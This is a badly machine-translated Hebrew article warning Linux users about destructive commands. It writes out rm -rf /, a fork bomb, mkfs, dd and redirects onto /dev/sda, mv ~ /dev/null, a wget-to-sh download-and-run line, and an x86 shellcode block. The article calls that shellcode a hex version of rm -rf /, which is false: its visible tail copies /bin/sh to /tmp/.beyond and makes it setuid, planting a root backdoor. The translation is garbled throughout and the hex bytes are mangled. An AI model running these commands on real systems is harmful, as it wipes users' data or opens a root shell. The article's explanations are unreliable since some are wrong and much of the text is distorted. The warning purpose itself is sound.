8 פקודות קטלניות אתה אף פעם לא צריך לרוץ על לינוקס
פקודות המסוף של לינוקס חזקות, ולינוקס לא תבקש ממך אישור אם תפעיל פקודה שתשבור את המערכת שלך. אין זה נדיר לראות טרולים באינטרנט ממליצים משתמשי לינוקס חדשים להפעיל פקודות אלה כבדיחה.
ללמוד את הפקודות שאתה לא צריך לרוץ יכול לעזור להגן עליך מפני טרולים תוך הגדלת ההבנה שלך איך לינוקס עובד. זה לא מדריך ממצה, ואת הפקודות כאן ניתן remixed במגוון דרכים.
שים לב שרבות מהפקודות האלו יהיו מסוכנות רק אם הן מקובצות סודו על אובונטו - הם לא יעבדו אחרת. בהפצות לינוקס אחרות, רוב הפקודות חייבות להיות מופעלות כשורש.
אשראי תמונה: גולגולת ועצמות מוצלבות remixed מ ג 'ייסון פורד בטוויטר
rm -rf / - מוחק הכל!
הפקודה rm -rf / מוחקת כל מה שהוא יכול, כולל קבצים על הכונן הקשיח שלך קבצים על התקני מדיה נשלפת מחובר. פקודה זו מובנת יותר אם היא מנותקת:
rm - הסר את הקבצים הבאים.
-rf - הפעלה rm recursively (למחוק את כל הקבצים והתיקיות בתוך התיקייה שצוינה) וכוח להסיר את כל הקבצים ללא הנחיה לך.
/ - מספרת rm להתחיל בספריית השורש, המכילה את כל הקבצים במחשב שלך ואת כל התקני המדיה רכוב, כולל מניות קבצים מרוחקים כוננים נשלפים.
לינוקס יהיה בשמחה לציית לפקודה זו ולמחוק הכל בלי הנחיה לך, כדי להיות זהיר בעת השימוש בו! הפקודה rm יכול לשמש גם בדרכים מסוכנות אחרות - rm -rf ~ היה למחוק את כל הקבצים בתיקייה הבית שלך, בעוד rm -rf. * היה מוחק את כל קבצי התצורה שלך.
השיעור: היזהר rm -rf.
מוסווה rm -rf /
הנה קטע קוד אחר שנמצא בכל רחבי האינטרנט:
[] טקסט (.))) / * e.s.p
שחרור *
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
"Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ";
זוהי גירסת הקסדצימלי של rm -rf / - ביצוע פקודה זו היה למחוק את הקבצים שלך בדיוק כאילו היה לך לרוץ rm -rf /.
השיעור: אל תפעיל פקודות מוזרות, מסוות בעליל, שאינך מבין.
: () : |: & ;: - פצצת מזלג
השורה הבאה היא פונקציה פשוטה, אך מסוכנת, bash:
: () : |: & ;:
שורה קצרה זו מגדירה פונקציית פגז שיוצרת עותקים חדשים של עצמה. התהליך משכפל את עצמו ללא הרף, והעותקים שלו משכפלים את עצמם ללא הרף, תופסים במהירות את כל זמן המעבד והזיכרון. זה יכול לגרום למחשב שלך להקפיא. זה בעצם התקף של מניעת שירות.
השיעור: פונקציות Bash הם חזקים, אפילו קצר מאוד.
קרדיט תמונה: דייק על ויקיפדיה
mkfs.ext4 / dev / sda1 - פורמט כונן קשיח
ה mkfs.ext4 / dev / sda1 הפקודה היא פשוטה להבנה:
mkfs.ext4 - צור מערכת קבצים חדשה מסוג ext4 בהתקן הבא.
/ dev / sda1 - מציין את המחיצה הראשונה בכונן הקשיח הראשון, שנמצא בשימוש.
יחד, פקודה זו יכולה להיות שווה לתבנית פועל c: ב- Windows - זה יהיה לנגב את הקבצים במחיצה הראשונה שלך ולהחליף אותם עם מערכת קבצים חדשה.
פקודה זו יכולה לבוא בצורות אחרות גם כן - mkfs.ext3 / dev / sdb2 היה פורמט את המחיצה השנייה על הכונן הקשיח השני עם מערכת הקבצים ext3.
השיעור: היזהר פועל פקודות ישירות על התקני דיסק קשיח שמתחילים עם / dev / sd.
הפקודה / dev / sda - כותב ישירות על כונן קשיח
ה הפקודה> / dev / sda line פועל באופן דומה - הוא מפעיל פקודה ושולח את הפלט של פקודה זו ישירות לכונן הקשיח הראשון שלך, כותב את הנתונים ישירות לכונן הקשיח ופוגע במערכת הקבצים שלך.
פקודה - הפעל פקודה (יכול להיות כל פקודה).
> - שלח את הפלט של הפקודה למיקום הבא.
/ dev / sda - כתוב את הפלט של הפקודה ישירות להתקן הדיסק הקשיח.
השיעור: כמו לעיל, היזהר פועל פקודות הכוללות התקני דיסק קשיח מתחיל עם / dev / sd.
dd אם = / dev / אקראי של / / dev / sda - כותב זבל על כונן קשיח
ה dd if = / dev / random of = / dev / sda שורה גם למחוק את הנתונים על אחד הכוננים הקשיחים שלך.
ד - בצע העתקה ברמה נמוכה ממיקום אחד לאחר.
אם = / dev / אקראי - השתמש / dev / אקראי (נתונים אקראיים) כקלט - אתה יכול גם לראות מיקומים כגון / dev / אפס (אפסים).
של = / dev / sda - פלט לדיסק הקשיח הראשון, החלפת מערכת הקבצים שלה עם נתונים אשפה אקראית.
השיעור: dd מעתיק נתונים ממיקום אחד לאחר, דבר שיכול להיות מסוכן אם אתה מעתיק ישירות להתקן.
אשראי תמונה: מאט Rudge על Flickr
mv ~ / dev / null - העברת מדריך הבית שלך חור שחור
/ dev / null הוא עוד מיקום מיוחד - העברת משהו ל / dev / null הוא אותו דבר כמו להרוס אותו. תחשוב על / dev / null כמו חור שחור. בעיקרו של דבר, mv ~ / dev / null שולח את כל הקבצים האישיים שלך לתוך חור שחור.
mv - העבר את הקובץ או הספריה הבאים למיקום אחר.
~ - מייצג את כל תיקיית הבית.
/ dev / null - להעביר את תיקיית הבית שלך / dev / null, להרוס את כל הקבצים שלך ומחיקת עותקים מקוריים.
השיעור: התו ~ מייצג את תיקיית הבית שלך דברים נעים / dev / null הורסת אותם.
wget http://example.com/something -O - | sh - הורדות והפעלת סקריפט
השורה הנ"ל מורידה תסריט מהאינטרנט ושולחת אותו ל sh, אשר מבצעת את תוכן הסקריפט. זה יכול להיות מסוכן אם אתה לא בטוח מה הוא סקריפט או אם אתה לא סומך על המקור שלה - לא להפעיל סקריפטים לא מהימנים.
wget - מוריד קובץ. (ייתכן גם לראות סלסול במקום wget.)
http://example.com/something - הורד את הקובץ ממיקום זה.
| - צינור (לשלוח) את הפלט של הפקודה wget (הקובץ שהורדת) ישירות לפקודה אחרת.
sh - שלח את הקובץ לפקודה sh, אשר מבצעת אותו אם זה סקריפט bash.
השיעור: אל תוריד והפעל סקריפטים לא מהימנים מהאינטרנט, אפילו עם פקודה.
לדעת פקודות מסוכנות אחרות, כי משתמשים חדשים (ומנוסים) לינוקס לא צריך לרוץ? השאירו תגובה ושתפו אותם!